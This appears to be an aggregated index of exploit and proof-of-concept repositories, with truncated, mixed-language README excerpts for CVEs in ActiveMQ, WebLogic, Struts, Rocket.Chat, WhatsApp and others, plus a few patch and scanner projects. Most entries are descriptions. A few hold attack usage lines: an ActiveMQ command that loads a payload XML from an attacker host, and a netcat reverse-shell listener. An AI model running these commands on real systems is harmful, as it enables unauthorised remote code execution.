CVE-2022-21350

Warum zwei PoCs? Einer enthält com.51pwn.hktalent.CreatJar.mainargs; wird verwendet, um das minimale Payload-Erstellungstool zu erstellen. Nach der Erstellung den anderen verwenden. Das Ausführen von CVE-2022-21350powerBy51pwn.jar zum Erstellen des Payloads zeigt Fehler an, beeinträchtigt aber...

ExploitPOC_MS15-014_CVE-2015-0009

Questo repository non contiene un README...

CVE-2024-10629

CVE-2024-10629 GPX Viewer = 2.2.8 - Autenticato Subscriber+ Creazione arbitraria di file Descrizione: Il plugin GPX Viewer per WordPress è vulnerabile alla creazione arbitraria di file a causa della mancanza di un controllo delle capacità e della convalida del tipo di file nella funzione...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP deserializzazione Ambiente di test Weblogic10.3.6+jdk1.6 JAR già pacchettizzato Codice di estrazione: a6ob Sfruttamento della vulnerabilità Scarica il JAR, quindi usa marshalsec per avviare un servizio RMI malevolo, compila localmente un exp.java root@kitploit: package...

xzbot

xzbot Esplorazione della backdoor xz CVE-2024-3094. Include quanto segue: honeypot: falso server vulnerabile per rilevare i tentativi di exploit patch ED448: patch di liblzma.so per usare la nostra chiave pubblica ED448 formato della backdoor: formato del payload della backdoor demo della backdoo...

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 — Remote-Code-Ausführung über Hoverfly Middleware API Authentifizierte RCE durch OS-Befehlseinschleusung in Hoverfly ≤ 1.11.3 Schwachstellenübersicht...

CVE-2018-6574-go-get-RCE

Questo repository non contiene un README...

CVE-2024-53677-Docker

CVE-2024-53677 - Ambiente di riproduzione della vulnerabilità di esecuzione remota di codice RCE in Apache Struts 2 Questo repository fornisce un ambiente basato su Docker per riprodurre la vulnerabilità CVE-2024-53677 in Apache Struts 2. Questa vulnerabilità coinvolge un path traversal e consent...

ms08-067.py

📖 Panoramica Questo repository contiene alcune implementazioni in Python per la vulnerabilità MS08-067 del servizio Windows Server CVE-2008-4250. Si tratta di una classica vulnerabilità di esecuzione remota di codice che interessa sistemi Windows meno recenti. 🛠️ Installazione e Utilizzo...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Progetto di riferimento Questo progetto è una riscrittura in Python dell'exploit del progetto https://github.com/X1r0z/ActiveMQ-RCE. Utilizzo root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Il parametro -p è predefinito sulla porta predefinita d...

magento2-template-filter-patch

Patch del filtro template di Magento 2 per CVE-2022-24086, CVE-2022-24087 Patch di Magento 2 per CVE-2022-24086, CVE-2022-24087. Risolve la vulnerabilità RCE e i bug correlati eseguendo un escaping profondo delle variabili dei template. Se non puoi aggiornare Magento o non puoi applicare le patch...

magento2-template-filter-patch

Magento 2 Template Filter Patch for CVE-2022-24086, CVE-2022-24087 Magento 2 patch for CVE-2022-24086, CVE-2022-24087. Fix the RCE vulnerability and related bugs by performing deep template variable escaping. If you cannot upgrade Magento or cannot apply the official patches, try this one...

Openfire-RCE-CVE-2023-32315-

Questo repository non contiene un README...

CVE-2026-54420

CVE-2026-54420 LiteSpeed cPanel ⚡ Utilizzo Semplice Usa questo progetto solo in ambienti sicuri e autorizzati, come: Macchine virtuali locali Container Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Esempio di configurazione: root@kitploit: git clone cd ...

CVE-2026-45447

🚨 CVE-2026-45447 - Vulnerabilità Use-After-Free Critica di OpenSSL Use-After-Free nell'heap in PKCS7verify che causa corruzione della memoria, crash e potenziale esecuzione remota di codice. 📖 Riepilogo Esecutivo CVE-2026-45447 è una vulnerabilità critica nella funzionalità di verifica PKCS7 di...

CVE-2016-3088

CVE-2016-3088 Apache ActiveMQ Exploit de Execução Remota de Código Descrição A aplicação web Fileserver no Apache ActiveMQ 5.x antes da versão 5.14.0 permite que atacantes remotos enviem e executem arquivos arbitrários através de uma requisição HTTP PUT seguida de uma requisição HTTP MOVE. Autor...

cve-2025-55182-scanner

Scanner di Indicatori CVE-2025-55182 Questo repository fornisce uno scanner basato su Python per gli indicatori di compromissione relativi a CVE-2025-55182 React Server Components RCE e allo specifico malware multi-stadio descritto nel report dell'incidente Asleepace. È progettato per essere...

CVE-2024-36401-PoC

CVE-2024-36401-PoC Exploit Proof-of-Concept per CVE-2024-36401 GeoServer Le versioni vulnerabili di GeoServer sono quelle precedenti alla 2.23.6 | 2.24.4 | 2.25.2 !!! SOLO PER SCOPI DI TEST DI SICUREZZA !!! NON UTILIZZARE QUESTO SU SISTEMI CHE NON POSSIEDI A MENO CHE TU NON ABBIA ESPLICITO PERMES...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE Improvised Beschreibung Nutzt eine Pre-Auth-NoSQL-Injection-Schwachstelle in Rocket.Chat 3.12.1 aus, um das TOTP-Geheimnis des Administrators und das Passwort-Reset-Token zu erlangen, das Admin-Konto zu übernehmen und über eine bösartige Webhook-Integration...

CVE-2019-11932

CVE-2019-11932 Bug di Double-Free nel PoC dell'exploit di WhatsApp. Nota: Assicurati di impostare l'IP di ascolto in exploit.c per ottenere una shell nc -lvp 1337 o qualsiasi porta. e poi compila. make oppure gcc -o exploit egiflib.c exploit.c poi esegui ./exploit e salva il contenuto in .gif e...